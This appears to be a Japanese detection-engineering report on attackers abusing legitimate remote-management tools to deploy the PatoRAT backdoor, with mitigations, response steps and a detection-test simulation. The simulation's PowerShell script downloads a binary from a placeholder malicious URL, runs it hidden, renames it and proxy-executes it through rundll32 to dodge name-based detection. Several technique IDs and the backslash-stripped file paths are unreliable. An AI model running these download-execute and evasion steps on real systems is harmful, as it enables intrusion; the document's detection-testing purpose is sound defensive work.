最近のRMM配布事例におけるエンドポイント検出
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
脅威アクターは、LogMeIn、PDQ Connect、Syncro、ScreenConnect、NinjaOne、SuperOpsなどの正当なリモートモニタリングおよび管理(RMM)ツールを悪用して、マルウェアを配布し、持続的なリモートアクセスを確立するケースが増加しています。最初の配信は、悪意のあるダウンロードページやフィッシングメールを通じて行われ、その後PowerShellを利用した実行と、PatoRATバックドアのような二次ペイロードの展開が行われます。AhnLab EDRは、これらのRMMユーティリティの実行を検出し、疑わしいフォローオン活動に基づく警告を生成できます。このレポートは、ソフトウェアの出所を検証し、エンドポイントを継続的に監視することの重要性を強調しています。
調査
AhnLab Security Intelligence Centerは、攻撃者がRMMインストーラを人気のアプリケーション(たとえば、Notepad++、7-Zip、Telegram)として再パッケージ化または偽装して、悪意のあるウェブサイトやフィッシング添付ファイルを通じて配信する複数のキャンペーンを観察しました。インストール後、RMMエージェントはベンダーインフラストラクチャに登録され、その後PowerShellペイロードを実行してPatoRATをドロップしました。SyncroをフィッシングでPDFを誘導する手法など、いくつかのRMM製品に類似した手法が見られました。AhnLab EDRの検出ロジックは、これらの正当なバイナリの実行をフラグし、インストール後の行動と関連付けるように開発されました。
緩和策
ダウンロードソースを検証し、コード署名証明書を検証し、正式なベンダーリリースとハッシュを比較することで、環境内でのRMMソフトウェアの許可を行う前に確認を行います。アプリケーションの許可リストを強制し、RMMの実行には明示的な承認を必要とします。不意なRMMバイナリの起動、異常なPowerShell活動、ベンダーインフラストラクチャドメインへの不審な接続を監視し、これらのツールが許可されていない場合には気をつけてください。オペレーティングシステムとセキュリティツールを更新し続け、脆弱性を低減します。
対応策
疑わしいRMMの実行が検出された場合、ホストを隔離し、フォレンジックアーティファクトを収集し、許可されていないバイナリを削除します。ツールのインフラストラクチャへのアウトバウンド接続をブロックし、リモート制御チャネルを切断し、PatoRATのような二次ペイロードの完全スキャンを実施します。観測されたIOCで検出コンテンツを更新し、迅速なトリアージのためにキャンペーンパターンについてSOCをブリーフィングします。
攻撃フロー
シミュレーション実行
前提条件: テレメトリおよびベースラインのプリフライトチェックが通過していること。
根拠: このセクションでは、検出ルールをトリガーするように設計された敵対者の技法(TTP)の正確な実行を詳細に説明します。コマンドと記述は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としたものでなければなりません。抽象化されたり無関係な例を使用すると、誤診につながります。
-
攻撃の説明 & コマンド:
攻撃者は悪意のある添付ファイルを含むフィッシングメールを配信します。添付ファイルはPowerShellスクリプトを実行し、RMMバイナリをダウンロードしますLogMeIn.exetoC:Temp。名前ベースの検出を回避するために、攻撃者はバイナリをtool.exeにリネームし、rundll32.exe(T1216)を介して実行します。その後、RMMバイナリは攻撃者が制御するC2サーバに接続し、バックドアペイロードをドロップします。実行後、攻撃者は証拠を隠すためにバイナリを削除します(T1542.004)。 -
回帰テストスクリプト:
# --------------------------------------------------------------- # RMMツールの悪用をシミュレート(元の名前) – トリガーされるはず # --------------------------------------------------------------- $rmmPath = "C:TempLogMeIn.exe" Invoke-WebRequest -Uri "https://example.com/malicious/LogMeIn.exe" -OutFile $rmmPath Write-Host "[*] 元のRMMバイナリを実行中(警告を期待)..." Start-Process -FilePath $rmmPath -WindowStyle Hidden Start-Sleep -Seconds 10 # --------------------------------------------------------------- # リネームとプロキシ実行による回避をシミュレート – トリガーされないはず # --------------------------------------------------------------- $evasionPath = "C:Temptool.exe" Rename-Item -Path $rmmPath -NewName "tool.exe" Write-Host "[*] rundll32を介して名前変更されたRMMバイナリを実行中(回避)..." $rundll = "$env:SystemRootSystem32rundll32.exe" Start-Process -FilePath $rundll -ArgumentList "`"$evasionPath`",#1" -WindowStyle Hidden Start-Sleep -Seconds 10 # --------------------------------------------------------------- # アーティファクトのクリーンアップ # --------------------------------------------------------------- Write-Host "[*] バイナリをクリーンアップ中..." Remove-Item -Path $evasionPath -Force -ErrorAction SilentlyContinue Write-Host "[*] シミュレーション完了。" -
クリーンアップコマンド:
# 残ったプロセスがあれば終了させる Get-Process -Name "LogMeIn","tool" -ErrorAction SilentlyContinue | Stop-Process -Force # ダウンロードされたファイルを削除(まだ存在する場合) Remove-Item -Path "C:TempLogMeIn.exe","C:Temptool.exe" -Force -ErrorAction SilentlyContinue